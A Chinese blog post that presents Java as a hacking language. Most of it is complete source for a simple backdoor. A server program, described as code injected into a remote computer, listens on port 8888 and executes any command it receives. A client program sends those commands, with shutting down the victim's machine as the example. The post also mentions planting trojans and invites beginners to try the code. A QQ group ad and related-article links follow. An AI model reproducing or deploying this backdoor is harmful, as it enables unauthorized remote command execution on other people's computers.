java也可以做黑客?

0.0212018.09.28 09:03:02字数 1168阅读 1436

记得:Eric S. Raymond在他著名的文章《如何成为一名黑客》中,将Java列为五门黑客必备语言之一,其它四门分别是:C、C++、Perl、Python。

而Java最大的特性是系统无关性,通过JVM可以无缝应用在各种操作系统。编写出来的程序,根本不关联任何的操作系统特性,除非JNI调用C++的DLL,但这样还不如直接用DLL。到目前为止,我没有发现任何一个侵入软件,是用Java编写的。

其实,Java是可以编写数据包分析软件,或者浅层次的端口扫描软件的。今天咱们就一起来学习一个简单的程序吧!

一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。

关于135的端口说明如下:

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

做java开发快8年时间,如果大家对于学习java有任何问题(学习方法,学习效率,如何就业),可以随时来咨询我,这是我的java交流学习qun:732308174。 多多交流问题,互帮互助,qun里有不错的学习教程和开发工具。

当然通过java来实现,确实有点困难,在这就不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本篇的研究范围,如有兴趣的童鞋可以自己查阅。言归正传,我们看一下java远程控制的简单实现。

远程计算机注入的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.ServerSocket;

import java.net.Socket;

public class Main implements Runnable {

public static final int TCP_PORT = 8888;

ServerSocket ss = null;

Socket s = null;

String cmd = null;

public Main(Socket s) {

this.s = s;

}

public void startServer() {

try {

ss = new ServerSocket(TCP_PORT);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

while (true) {

try {

s = ss.accept();

new Thread(new Main(s)).start();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

public void run() {

try {

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

dos.writeUTF("连接成功");

DataInputStream dis = new DataInputStream(s.getInputStream());

while (true) {

cmd = dis.readUTF();

try {

Runtime.getRuntime().exec(cmd);

} catch (IOException e) {

}

}

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

public static void main(String[] args) {

new Main(null).startServer();

}

}

原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。

 本机的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main  {

public static final int TCP_PORT = 8888;

public static String ip = "127.0.0.1";

Socket s = null;

String cmd = null;

public static void main(String[] args) {

new Main().connect();

}

public void connect(){

try {

s = new Socket(ip,TCP_PORT);

System.out.println("连接成功");

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

do{

cmd = JOptionPane.showInputDialog("输入命令:");

dos.writeUTF(cmd);

}while(!cmd.equals("over"));

new Thread(new RecvThread()).start();

} catch (UnknownHostException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

private class RecvThread implements Runnable{

public void run() {

DataInputStream dis;

while(true){

try {

dis = new DataInputStream(s.getInputStream());

String message = dis.readUTF();

JOptionPane.showMessageDialog(null, message);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

}

原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。

弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。

java也可以做黑客?相关推荐

  1. 天才安全大佬即将拿股票前被拼多多辞退,原因是不愿意做黑客攻击?

    本文由DD编辑部整理,内容来源网络 昨天,知乎热搜第一被一个黑客霸榜. 如何看待天才黑客Flanker疑因拒绝做黑客攻击业务,被拼多多强行辞退,错失上亿股票? 一时间坊间谣言四起.议论纷纷. 拼多多被 ...

  2. 编程行业高手级别必学C语言,要挣大钱必学C语言,要做黑客、红客必学C语言,要面试名企、外企、高薪职位必学C语言。

    于大部分程序员, C语言 是学习 编程 的第一门语言,很少有不了解C的程序员. C语言除了能让你了解编程的相关概念,带你走进编程的大门,还能让你明白程序的运行原理,比如,计算机的各个部件是如何交互的, ...

  3. 天才黑客 Flanker 疑因拒绝做黑客被拼多多强行辞退

    整理 | 王晓曼 出品 | 程序人生 (ID:coder _life) 1月12日,"如何看待天才黑客Flanker疑因拒绝做黑客攻击业务,被拼多多强行辞退,错失上亿股票?"的话题 ...

  4. java手动回收_浅谈java是如何做资源回收补救的

    学习java的过程,我们经常谈论一个对象的回收,尤其是资源类型,如果没有显示的关闭,对象就被回收了,说明出现了资源泄漏.java本身为了防止这种情况,做了一些担保的方式,确保可以让未关闭的资源合理回收 ...

  5. Java利用jenkins做项目的自动化部署

    本地的jekins密码 2722e8ea873b4cf08884c22dff732bab 这篇文章主要介绍了Java利用jenkins做项目的自动化部署,小编觉得挺不错的,现在分享给大家,也给大家做个 ...

  6. 几天后自动领取java怎么做的_学了14天,终于把Java项目一做完啦

    原标题:学了14天,终于把Java项目一做完啦 今天是刘小爱自学Java的第113天. 感谢你的观看,谢谢你. 话不多说,开始今天的学习: 今天过后项目一也就算是结束了. 明天开始学SSM框架,再用S ...

  7. 利用HttpWebRequest和HttpWebResponse做黑客注射工具

    利用HttpWebRequest和HttpWebResponse做黑客注射工具. using System; using System.Collections.Generic; using Syste ...

  8. 开发测试矛盾java吧_不愿看到Java开发者再做的10件事

    5.用Calendar或Date来做日期计算 用JDK中的Date和Calendar来做复杂的日期和时间计算简直就是浪费生命.内建的类仅仅支持最基本的操作,而且一点也不直观.我们还是用JODA Tim ...

  9. Java就业方向有哪些?学习Java开发能做什么?

    学习Java开发都能做什么?Java主要应用在B/S和C/S领域.由于科技的不断发展,B/S将不足以满足社会需求,C/S将会是社会发展趋势.随着Servlet技术的使用,Java向Web移动设备方向挺 ...

最新文章

  1. OpenStack环境搭建(六:常见问题及解决方案总结)
  2. 同实例下复制表的2种方法
  3. mysql schema是什么_MySQL中information_schema是什么
  4. java游戏暂停_小白写了个java的小游戏 想加个暂停的功能 无从下手 求大佬们帮...
  5. 打开多网页用服务器系统好吗,如何在打开多个网页后,只需在一个网页上操作,其他网页都会同步操作?...
  6. c语言求阶层的某位数,求10000的阶乘(c语言代码实现)
  7. 如何批量删除.svn文件
  8. 关于win10优化问题
  9. CentOs7下Zabbix安装教程——准备工作
  10. 外省职称计算机,外地职称在当地是否可以用?
  11. L3立法试水,为自动驾驶产业带来什么?
  12. 沃通CA证书支持多所高校招投标文件电子签名
  13. 改计算机名字 和 命令
  14. 一刀传世服务器维护,#一刀传世#
  15. fluid 如何获取特定层的参数
  16. 整数与浮点数比较-汇编码分析
  17. 数字孪生系统有哪些意义?
  18. 三七互娱-游戏运维岗笔试题(无答案)
  19. Java hashCode是什么
  20. Qt源码分析--QImage(8)

热门文章

  1. 【转】使IFRAME在iOS设备上支持滚动
  2. 安卓下的免费离线地图导航软件(老虎地图)测试及网盘下载
  3. FPGA Design's Tips
  4. [LeetCode] First Bad Version - 二分查找
  5. 【数据结构与算法】之深入解析“解数独”的求解思路与算法示例
  6. OpenGL之常见的专业名词解析
  7. 10.1 HTML介绍与开发环境的搭建
  8. 数据库开发——MySQL——数据类型——非数值类型
  9. 第十届 蓝桥杯样题 ——代码填空
  10. 使用Redis 实现消息队列